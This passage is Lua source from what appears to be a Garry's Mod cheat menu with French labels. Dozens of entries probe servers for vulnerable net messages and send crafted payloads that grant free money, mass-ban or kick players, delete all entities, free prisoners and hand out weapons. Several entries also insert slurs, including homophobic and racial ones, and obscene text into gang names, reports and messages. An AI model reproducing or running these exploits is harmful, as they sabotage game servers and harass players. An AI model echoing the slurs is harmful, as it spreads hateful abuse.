9746end )
9747end
9748
9749status = ValidNetString("casinokit_chipexchange")
9750if (status) then
9751CHATPRINT("Exploit Trouvé : Argent Gratuite #23 [casinokit_chipexchange]")
9752addExploit( "170","Argent Gratuite #23", "only works if outdated", function()
9753surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9754local moneylog = LocalPlayer():getDarkRPVar("money")
9755net.Start("casinokit_chipexchange")
9756net.WriteEntity(self)
9757net.WriteString("darkrp")
9758net.WriteBool(true)
9759net.WriteUInt(LocalPlayer():getDarkRPVar("money"),32)
9760net.SendToServer()
9761timer.Simple(3, function()
9762for i=1, 5000 do
9763net.Start("casinokit_chipexchange")
9764net.WriteEntity(self)
9765net.WriteString("darkrp")
9766net.WriteBool(false)
9767net.WriteUInt(moneylog*0.10,32)
9768net.SendToServer()
9769end
9770end)
9771end )
9772end
9773
9774status = ValidNetString("PurchaseWeed")
9775if (status) then
9776CHATPRINT("Exploit Trouvé : Achetez Drogue [PurchaseWeed]")
9777addExploit( "171","Achetez Drogue", "", function()
9778surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9779net.Start("PurchaseWeed")
9780net.WriteInt(tonumber(10000),16)
9781net.WriteInt(tonumber(1),16)
9782net.WriteBool(LocalPlayer().Buying)
9783net.SendToServer()
9784end )
9785end
9786
9787status = ValidNetString("PurchaseWeed")
9788if (status) then
9789CHATPRINT("Exploit Trouvé : Vendre Weed [PurchaseWeed]")
9790addExploit( "172","Vendre Weed", "", function()
9791surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9792net.Start("PurchaseWeed")
9793net.WriteInt(tonumber(100),16)
9794net.WriteInt(tonumber(100),16)
9795net.WriteBool(LocalPlayer().Selling)
9796net.SendToServer()
9797end )
9798end
9799
9800status = ValidNetString("DoDealerDeliver")
9801if (status) then
9802CHATPRINT("Exploit Trouvé : Achetez Tablette [DoDealerDeliver]")
9803addExploit( "173","Achetez Tablette", "", function()
9804surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9805if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
9806net.Start("DoDealerDeliver")
9807net.WriteBool(false)
9808net.SendToServer()
9809end
9810end )
9811end
9812
9813status = ValidNetString("DoDealerDeliver")
9814if (status) then
9815CHATPRINT("Exploit Trouvé : Achetez Bong [DoDealerDeliver]")
9816addExploit( "174","Achetez Bong", "", function()
9817surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9818if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
9819net.Start("DoDealerDeliver")
9820net.WriteBool(true)
9821net.SendToServer()
9822end
9823end )
9824end
9825
9826status = ValidNetString("sendDuelInfo")
9827if (status) then
9828CHATPRINT("Exploit Trouvé : Exploit Du NPC De Duel [sendDuelInfo]")
9829addExploit( "175","Exploit Du NPC De Duel", "", function()
9830surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9831net.Start("sendDuelInfo")
9832net.WriteString(table.Random(player.GetAll()):Nick())
9833net.WriteString("xxdddd")
9834net.WriteString("1e+100")
9835net.WriteEntity(table.random(player.GetAll()):UserID())
9836net.WriteInt(3,3)
9837net.SendToServer()
9838end )
9839end
9840
9841status = ValidNetString("InviteMember")
9842if (status) then
9843CHATPRINT("Exploit Trouvé : Inviter Tout Les Joueurs [InviteMember]")
9844addExploit( "176","Inviter Tout Les Joueurs", "Invite all players to your org", function()
9845surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9846for k,v in pairs(player.GetAll()) do
9847net.Start("InviteMember")
9848net.WriteEntity(v)
9849net.WriteEntity(v)
9850net.WriteString("lol what")
9851net.SendToServer()
9852end
9853end )
9854end
9855
9856status = ValidNetString("newTerritory")
9857if (status) then
9858CHATPRINT("Exploit Trouvé : Nouveau Territoire [newTerritory]")
9859addExploit( "177","Nouveau Territoire", "", function()
9860surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9861for k,v in pairs(player.GetAll()) do
9862net.Start("newTerritory")
9863net.WriteString("Hackers")
9864net.WriteTable(t)
9865net.SendToServer()
9866end
9867end )
9868end
9869
9870status = ValidNetString("CreateOrganization")
9871if (status) then
9872CHATPRINT("Exploit Trouvé : Exploit De Gang [CreateOrganization]")
9873addExploit( "178","Exploit De Gang", "", function()
9874surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9875for k,v in pairs(player.GetAll()) do
9876net.Start("CreateOrganization")
9877net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9878net.WriteString( "Join my gang or will rekt u" )
9879net.SendToServer()
9880end
9881end )
9882end
9883
9884status = ValidNetString("DisbandOrganization")
9885if (status) then
9886CHATPRINT("Exploit Trouvé : Arreter L'Organisation [DisbandOrganization]")
9887addExploit( "179","Arreter L'Organisation", "", function()
9888surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9889net.Start("DisbandOrganization")
9890net.WriteEntity(LocalPlayer())
9891net.SendToServer()
9892end )
9893end
9894
9895status = ValidNetString("ChangeOrgName")
9896if (status) then
9897CHATPRINT("Exploit Trouvé : Changer Le Nom De L'Organisation [ChangeOrgName]")
9898addExploit( "180","Changer Le Nom De L'Organisation", "", function()
9899surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9900net.Start("ChangeOrgName")
9901net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
9902net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
9903net.WriteEntity(LocalPlayer())
9904net.SendToServer()
9905end )
9906end
9907
9908status = ValidNetString("IS_SubmitSID_C2S")
9909if (status) then
9910CHATPRINT("Exploit Trouvé : Cadeaux Gratuit [IS_SubmitSID_C2S | IS_GetReward_C2S]")
9911addExploit( "181","Cadeaux Gratuit", "", function()
9912surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9913net.Start("IS_SubmitSID_C2S")
9914net.WriteString("Killa")
9915net.SendToServer()
9916net.Start("IS_GetReward_C2S")
9917net.SendToServer()
9918end )
9919end
9920
9921status = ValidNetString("AcceptBailOffer")
9922if (status) then
9923CHATPRINT("Exploit Trouvé : Offrir Des Cautions [AcceptBailOffer]")
9924addExploit( "182","Offrir Des Cautions", "", function()
9925surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9926for k,v in pairs(player.GetAll()) do
9927net.Start("AcceptBailOffer")
9928net.WriteEntity(v)
9929net.WriteUInt(-100000000000000000, 16 )
9930net.SendToServer()
9931end
9932end )
9933end
9934
9935status = ValidNetString("CP_Test_Results")
9936if (status) then
9937CHATPRINT("Exploit Trouvé : Devenir Policier [CP_Test_Results]")
9938addExploit( "183","Devenir Policier", "", function()
9939surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9940net.Start("CP_Test_Results")
9941net.WriteInt(1 ,8)
9942net.SendToServer()
9943end )
9944end
9945
9946status = ValidNetString("ReSpawn")
9947if (status) then
9948CHATPRINT("Exploit Trouvé : ReSpawn #4 [ReSpawn]")
9949addExploit( "184","ReSpawn #4", "just reSpawn", function()
9950surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9951net.Start("ReSpawn")
9952net.SendToServer()
9953end )
9954end
9955
9956status = ValidNetString("FIGHTCLUB_KickPlayer")
9957if (status) then
9958CHATPRINT("Exploit Trouvé : Kick Du Fight Club [FIGHTCLUB_KickPlayer]")
9959addExploit( "185","Kick Du Fight Club", "", function()
9960surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9961for k,v in pairs(player.GetAll()) do
9962net.Start("FIGHTCLUB_KickPlayer")
9963net.WriteBit(v)
9964net.WriteEntity(v)
9965net.SendToServer()
9966end
9967end )
9968end
9969
9970status = ValidNetString("FIGHTCLUB_StartFight")
9971if (status) then
9972CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
9973addExploit( "186","Fight Club Start Fight", "", function()
9974surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9975for k,v in pairs(player.GetAll()) do
9976net.Start("FIGHTCLUB_StartFight")
9977net.WriteEntity(v)
9978net.SendToServer()
9979end
9980end )
9981end
9982
9983status = ValidNetString("IveBeenRDMed")
9984if (status) then
9985CHATPRINT("Exploit Trouvé : Faux RDM [IveBeenRDMed]")
9986addExploit( "187","Faux RDM", "", function()
9987surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9988for k,v in pairs(player.GetAll()) do
9989net.Start("IveBeenRDMed")
9990net.WriteEntity(v)
9991net.SendToServer()
9992end
9993end )
9994end
9995
9996status = ValidNetString("nCTieUpStart")
9997if (status) then
9998CHATPRINT("Exploit Trouvé : Exploit Des Combine Control [nCTieUpStart]")
9999addExploit( "188","Exploit Des Combine Control", "", function()
10000surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10001for k,v in pairs(ents.GetAll()) do
10002net.Start("nCTieUpStart")
10003net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
10004net.SendToServer()
10005end
10006end )
10007end
10008
10009status = ValidNetString("DestroyTable")
10010if (status) then
10011CHATPRINT("Exploit Trouvé : Tout Détruire [DestroyTable]")
10012addExploit( "189","Tout Détruire", "", function()
10013surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10014for k,v in pairs(ents.GetAll()) do
10015net.Start("DestroyTable")
10016net.WriteEntity(v)
10017net.SendToServer()
10018end
10019end )
10020end
10021
10022status = ValidNetString("start_wd_hack")
10023if (status) then
10024CHATPRINT("Exploit Trouvé : Exploit Du Téléphone De H4x0r [start_wd_hack]")
10025addExploit( "190","Exploit Du Téléphone De H4x0r", "", function()
10026surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10027net.Start("start_wd_hack")
10028net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
10029net.SendToServer()
10030end )
10031end
10032
10033status = ValidNetString("bringNfreeze")
10034if (status) then
10035CHATPRINT("Exploit Trouvé : Exploit De Bannissement [bringNfreeze]")
10036addExploit( "191","Exploit De Bannissement", "", function()
10037surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10038for k,v in pairs(player.GetAll()) do
10039net.Start('bringNfreeze')
10040net.WriteEntity(self)
10041net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
10042net.SendToServer()
10043end
10044end )
10045end
10046
10047status = ValidNetString("JoinFirstSS")
10048if (status) then
10049CHATPRINT("Exploit Trouvé : Rejoindre Les Premiers SS [JoinFirstSS]")
10050addExploit( "192","Rejoindre Les Premiers SS", "", function()
10051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10052net.Start("JoinFirstSS")
10053net.WriteEntity(LocalPlayer())
10054net.SendToServer()
10055end )
10056end
10057
10058status = ValidNetString("unarrestPerson")
10059if (status) then
10060CHATPRINT("Exploit Trouvé : Liberez De Prison [unarrestPerson]")
10061addExploit( "193","Liberez De Prison", "", function()
10062surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10063for k,v in pairs(player.GetAll()) do
10064net.Start("unarrestPerson")
10065net.WriteEntity(v)
10066net.SendToServer()
10067end
10068end )
10069end
10070
10071status = ValidNetString("giveArrestReason")
10072if (status) then
10073CHATPRINT("Exploit Trouvé : Donnez Une Raison D'Arrestation [giveArrestReason]")
10074addExploit( "194","Donnez Une Raison D'Arrestation", "", function()
10075surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10076for k,v in pairs(player.GetAll()) do
10077net.Start("giveArrestReason")
10078net.WriteEntity(LocalPlayer())
10079net.WriteEntity(v)
10080net.WriteString("Faggot")
10081net.SendToServer()
10082end
10083end )
10084end
10085
10086status = ValidNetString("sellitem")
10087if (status) then
10088CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
10089addExploit( "195","Argent Gratuite #24", "", function()
10090surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10091net.Start("sellitem")
10092net.WriteString(self)
10093net.WriteEntity(LocalPlayer())
10094net.SendToServer()
10095end )
10096end
10097
10098status = ValidNetString("createFaction")
10099if (status) then
10100CHATPRINT("Exploit Trouvé : Crée Un Gang [createFaction]")
10101addExploit( "196","Crée Un Gang", "", function()
10102surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10103for k,v in pairs(player.GetAll()) do
10104net.Start("createFaction")
10105net.WriteEntity(v)
10106net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
10107net.SendToServer()
10108end
10109end )
10110end
10111
10112status = ValidNetString("inviteToOrganization")
10113if (status) then
10114CHATPRINT("Exploit Trouvé : Inviter Tout Le Monde Dans Son Gang [inviteToOrganization]")
10115addExploit( "197","Inviter Tout Le Monde Dans Son Gang", "", function()
10116surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10117for k,v in pairs(player.GetAll()) do
10118net.Start("inviteToOrganization")
10119net.WriteEntity(v)
10120net.WriteEntity(LocalPlayer())
10121net.SendToServer()
10122end
10123end )
10124end
10125
10126status = ValidNetString("GiveWeapon")
10127if (status) then
10128CHATPRINT("Exploit Trouvé : Donnez Des Armes #3 [GiveWeapon]")
10129addExploit( "199","Donnez Des Armes #3", "get weapons", function()
10130surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10131net.Start("GiveWeapon")
10132net.WriteEntity(LocalPlayer())
10133net.WriteString("m9k_davy_crockett")
10134net.WriteFloat(0)
10135net.SendToServer()
10136end )
10137end
10138
10139status = ValidNetString("DailyLoginClaim")
10140if (status) then
10141CHATPRINT("Exploit Trouvé : Cadeau De Connexion [DailyLoginClaim]")
10142addExploit( "200","Cadeau De Connexion", "", function()
10143surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10144net.Start("DailyLoginClaim")
10145net.SendToServer()
10146end )
10147end
10148
10149status = ValidNetString("DL_AskLogsList")
10150if (status) then
10151CHATPRINT("Exploit Trouvé : Voir La Listes Des Logs [DL_AskLogsList]")
10152addExploit( "201","Voir La Listes Des Logs", "", function()
10153surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10154net.Start("DL_AskLogsList")
10155net.SendToServer()
10156end )
10157end
10158
10159status = ValidNetString("DL_StartReport")
10160if (status) then
10161CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
10162addExploit( "202","DL Report Tout Le Monde", "", function()
10163surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10164for k,v in pairs(player.GetAll()) do
10165net.Start("DL_StartReport")
10166net.SendToServer()
10167net.Start("DL_ReportPlayer")
10168net.WriteEntity(v)
10169net.WriteString("Hes being a gay faggot plz ban him")
10170net.SendToServer()
10171end
10172end )
10173end
10174
10175status = ValidNetString("sv_saveweapons")
10176if (status) then
10177CHATPRINT("Exploit Trouvé : Exploit D'Arme TTT [sv_saveweapons]")
10178addExploit( "203","DL Report Tout Le Monde", "", function()
10179surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10180net.Start("sv_saveweapons")
10181net.WriteString("weapon_ttt_rpg")
10182net.WriteString("weapon_ttt_rpg")
10183net.WriteString("eg")
10184net.SendToServer()
10185end )
10186end
10187
10188status = ValidNetString("SpecDM_SendLoadout")
10189if (status) then
10190CHATPRINT("Exploit Trouvé : Exploit De SpecDM [SpecDM_SendLoadout]")
10191addExploit( "204","Exploit De SpecDM", "", function()
10192surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10193net.Start("SpecDM_SendLoadout")
10194net.WriteString("eg")
10195net.WriteString("weapon_ttt_defib")
10196net.SendToServer()
10197end )
10198end
10199
10200status = ValidNetString("PowerRoundsForcePR")
10201if (status) then
10202CHATPRINT("Exploit Trouvé : Forcer Un Power Round [PowerRoundsForcePR]")
10203addExploit( "205","Forcer Un Power Round", "", function()
10204surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10205net.Start("PowerRoundsForcePR")
10206net.SendToServer()
10207end )
10208end
10209
10210status = ValidNetString("wyozimc_playply")
10211if (status) then
10212CHATPRINT("Exploit Trouvé : Exploit De Musique [wyozimc_playply]")
10213addExploit( "206","Exploit De Musique", "", function()
10214surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10215for k,v in pairs(player.GetAll()) do
10216net.Start("wyozimc_playply")
10217net.WriteEntity(v)
10218net.WriteString("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
10219net.SendToServer()
10220end
10221end )
10222end
10223
10224status = ValidNetString("SendSteamID")
10225if (status) then
10226CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
10227addExploit( "207","Envoyez Mail's", "", function()
10228surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10229for k,v in pairs(player.GetAll()) do
10230net.Start("SendSteamID")
10231net.WriteEntity(v)
10232net.WriteString("Faggot")
10233net.WriteString("Faggot")
10234net.SendToServer()
10235end
10236end )
10237end
10238
10239status = ValidNetString("JB_GiveCubics")
10240if (status) then
10241CHATPRINT("Exploit Trouvé : Donnez Des Cubes A Tout Le Monde [JB_GiveCubics]")
10242addExploit( "208","Donnez Des Cubes A Tout Le Monde", "", function()
10243surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10244for k,v in pairs(player.GetAll()) do
10245net.Start("JB_GiveCubics")
10246net.WriteEntity(v)
10247net.WriteInt(math.floor(dwang:GetValue()), 255)
10248net.SendToServer()
10249end
10250end )
10251end
10252
10253status = ValidNetString("JB_SelectWarden")
10254if (status) then
10255CHATPRINT("Exploit Trouvé : Warn Tout Le Monde [JB_SelectWarden]")
10256addExploit( "209","Warn Tout Le Monde", "", function()
10257surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10258for k,v in pairs(player.GetAll()) do
10259net.Start("JB_SelectWarden")
10260net.WriteEntity(v)
10261net.SendToServer()
10262end
10263end )
10264end
10265
10266status = ValidNetString("RDMReason_Explain")
10267if (status) then
10268CHATPRINT("Exploit Trouvé : Exploit RDM [RDMReason_Explain]")
10269addExploit( "210","Exploit RDM", "", function()
10270surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10271for k,v in pairs(player.GetAll()) do
10272net.Start("RDMReason_Explain")
10273net.WriteTable({id=v, reason=fgt})
10274net.SendToServer()
10275end
10276end )
10277end
10278
10279status = ValidNetString("redirectMsg")
10280if (status) then
10281CHATPRINT("Exploit Trouvé : Message De Redirection [redirectMsg]")
10282addExploit( "211","Message De Redirection", "", function()
10283surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10284net.Start("redirectMsg")
10285net.WriteString("Seized By Pity :c !")
10286net.SendToServer()
10287end )
10288end
10289
10290status = ValidNetString("LB_AddBan")
10291if (status) then
10292CHATPRINT("Exploit Trouvé : Exploit LB Ban [LB_AddBan]")
10293addExploit( "212","Exploit LB Ban", "", function()
10294surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10295for k,v in pairs(player.GetAll()) do
10296if v != LocalPlayer() then
10297net.Start("LB_AddBan")
10298net.WriteString("STEAM_0:0:71238382")
10299net.WriteString("fgt")
10300net.SendToServer()
10301end
10302end
10303end )
10304end
10305
10306status = ValidNetString("GET_Admin_MSGS")
10307if (status) then
10308CHATPRINT("Exploit Trouvé : Défoncer Le Chat Admin [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
10309addExploit( "213","Défoncer Le Chat Admin", "", function()
10310surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10311net.Start("GET_Admin_MSGS")
10312net.SendToServer()
10313net.Start("OPEN_ADMIN_CHAT")
10314net.SendToServer()
10315end )
10316end
10317
10318status = ValidNetString("br_send_pm")
10319if (status) then
10320CHATPRINT("Exploit Trouvé : Défoncer Les Email Envoyé A Tous [br_send_pm]")
10321addExploit( "214","Défoncer Les Email Envoyé A Tous", "", function()
10322surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10323for k,v in pairs(player.GetAll()) do
10324if v != LocalPlayer() then
10325net.Start("br_send_pm")
10326net.WriteString(v)
10327net.WriteString("FGT")
10328net.WriteEntity(v)
10329net.SendToServer()
10330end
10331end
10332end )
10333end
10334
10335status = ValidNetString("LAWYER.BailFelonOut")
10336if (status) then
10337CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
10338addExploit( "215","Libérer Prison", "", function()
10339surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10340net.Start("LAWYER.BailFelonOut")
10341net.WriteString("1")
10342net.WriteString("fgt")
10343net.SendToServer()
10344end )
10345end
10346
10347status = ValidNetString("LAWYER.GetBailOut")
10348if (status) then
10349CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
10350addExploit( "216","Libérer Prison", "", function()
10351surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10352net.Start("LAWYER.GetBailOut")
10353net.WriteString("Mick")
10354net.WriteString("Mick")
10355net.WriteString("1000000")
10356net.SendToServer()
10357end )
10358end
10359
10360status = ValidNetString("GrabMoney")
10361if (status) then
10362CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
10363addExploit( "217","Libérer Prison", "", function()
10364surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10365for k,v in pairs(ents.GetAll()) do
10366if v:GetClass() == "gold" then
10367if v:GetClass() == "silver" then
10368if v:GetClass() == "vip" then
10369if v:GetClass() == "vipgold" then
10370net.Start("GrabMoney")
10371net.WriteEntity(LocalPlayer())
10372net.SendToServer()
10373end
10374end
10375end
10376end
10377end
10378end )
10379end
10380
10381status = ValidNetString("nox_addpremadepunishment")
10382if (status) then
10383CHATPRINT("Exploit Trouvé : Exploit De Ban Nox [nox_addpremadepunishment]")
10384addExploit( "218","Exploit De Ban Nox ", "", function()
10385surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10386for k,v in pairs(player.GetAll()) do
10387if v != LocalPlayer() then
10388net.Start("nox_addpremadepunishment")
10389net.WriteEntity("Sun")
10390net.WriteUInt(2, 8)
10391net.SendToServer()
10392end
10393end
10394end )
10395end
10396
10397status = ValidNetString("NET_CR_TakeStoredMoney")
10398if (status) then
10399CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
10400addExploit( "219","Voler L'argent Du Registre", "", function()
10401surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10402for k,v in pairs(ents.GetAll()) do
10403if v:GetClass() == "ss_cash_registry" then
10404net.Start('NET_CR_TakeStoredMoney')
10405net.WriteEntity("ss_cash_registry")
10406net.WriteEntity(LocalPlayer())
10407net.SendToServer()
10408end
10409end
10410end )
10411end
10412
10413status = ValidNetString("HV_AmmoBuy")
10414if (status) then
10415CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
10416addExploit( "220","HV Munitions Gratuites", "", function()
10417surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10418net.Start("HV_AmmoBuy")
10419net.WriteFloat("2")
10420net.SendToServer()
10421net.Start("HV_AmmoBuy")
10422net.WriteFloat("1")
10423net.SendToServer()
10424end )
10425end
10426
10427status = ValidNetString("hitcomplete")
10428if (status) then
10429CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
10430addExploit( "221","Argent Gratuite", "", function()
10431surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10432for k,v in pairs(player.GetAll()) do
10433if v != LocalPlayer() then
10434net.Start("hitcomplete")
10435net.WriteEntity(v)
10436net.SendToServer()
10437end
10438end
10439end )
10440end
10441
10442status = ValidNetString("SyncRemoveAction")
10443if (status) then
10444CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
10445addExploit( "222","Supprimer Tout", "", function()
10446surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10447for k,v in pairs(ents.GetAll()) do
10448net.Start("SyncRemoveAction")
10449net.WriteEntity(v)
10450net.SendToServer()
10451end
10452end )
10453end
10454
10455status = ValidNetString("TMC_NET_MakePlayerWanted")
10456if (status) then
10457CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
10458addExploit( "223","Mettre Un Avis De Recherche Global", "", function()
10459surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10460for k,v in pairs(player.GetAll()) do
10461net.Start("TMC_NET_MakePlayerWanted")
10462net.WriteString("bad")
10463net.WriteString("bad")
10464net.SendToServer()
10465end
10466end )
10467end
10468
10469status = ValidNetString("thiefnpc")
10470if (status) then
10471CHATPRINT("Exploit Trouvé : NPC De Voleur [thiefnpc]")
10472addExploit( "224","NPC De Voleur", "", function()
10473surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10474net.Start('thiefnpc')
10475net.WriteDouble(-99999999999999999)
10476net.SendToServer()
10477end )
10478end
10479
10480status = ValidNetString("TMC_NET_FirePlayer")
10481if (status) then
10482CHATPRINT("Exploit Trouvé : Brûler Des Joueurs [TMC_NET_FirePlayer]")
10483addExploit( "225","Brûler Des Joueurs", "", function()
10484surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10485net.Start("TMC_NET_FirePlayer")
10486net.WriteString("Paypal")
10487net.SendToServer()
10488end )
10489end
10490
10491status = ValidNetString("updateLaws")
10492if (status) then
10493CHATPRINT("Exploit Trouvé : Mettre A Jours Les Lois [updateLaws]")
10494addExploit( "226","Mettre A Jours Les Lois", "", function()
10495surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10496net.Start("updateLaws")
10497net.WriteString("Bitch")
10498net.SendToServer()
10499end )
10500end
10501
10502status = ValidNetString("LotteryMenu")
10503if (status) then
10504CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
10505addExploit( "227","Argent Gratuite #25", "", function()
10506surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10507net.Start("LotteryMenu")
10508net.WriteEntity(LocalPlayer())
10509net.WriteInt(1000000000000000000, 16)
10510net.SendToServer()
10511end )
10512end
10513
10514status = ValidNetString("soundArrestCommit")
10515if (status) then
10516CHATPRINT("Exploit Trouvé : Bruit D'Arrestation [soundArrestCommit]")
10517addExploit( "228","Bruit D'Arrestation", "", function()
10518surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10519net.Start("soundArrestCommit")
10520net.WriteString("Shit")
10521net.SendToServer()
10522end )
10523end
10524
10525status = ValidNetString("hoverboardpurchase")
10526if (status) then
10527CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
10528addExploit( "229","Hover Board", "", function()
10529surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10530net.Start("hoverboardpurchase")
10531net.WriteInt(8, 32)
10532net.SendToServer()
10533end )
10534end
10535
10536status = ValidNetString("NPCShop_BuyItem")
10537if (status) then
10538CHATPRINT("Exploit Trouvé : NPC Magasin [NPCShop_BuyItem]")
10539addExploit( "231","NPC Shop", "", function()
10540surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10541net.Start("NPCShop_BuyItem")
10542net.WriteString("weapon_hack_phone")
10543net.SendToServer()
10544end )
10545end
10546
10547status = ValidNetString("CubeRiot CaptureZone Update")
10548if (status) then
10549CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
10550addExploit( "232","CubeRiot Exploit", "", function()
10551surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10552net.Start("CubeRiot CaptureZone Update")
10553net.WriteUInt( 1, 8 )
10554net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10555net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10556net.SendToServer()
10557end )
10558end
10559
10560status = ValidNetString("deposit")
10561if (status) then
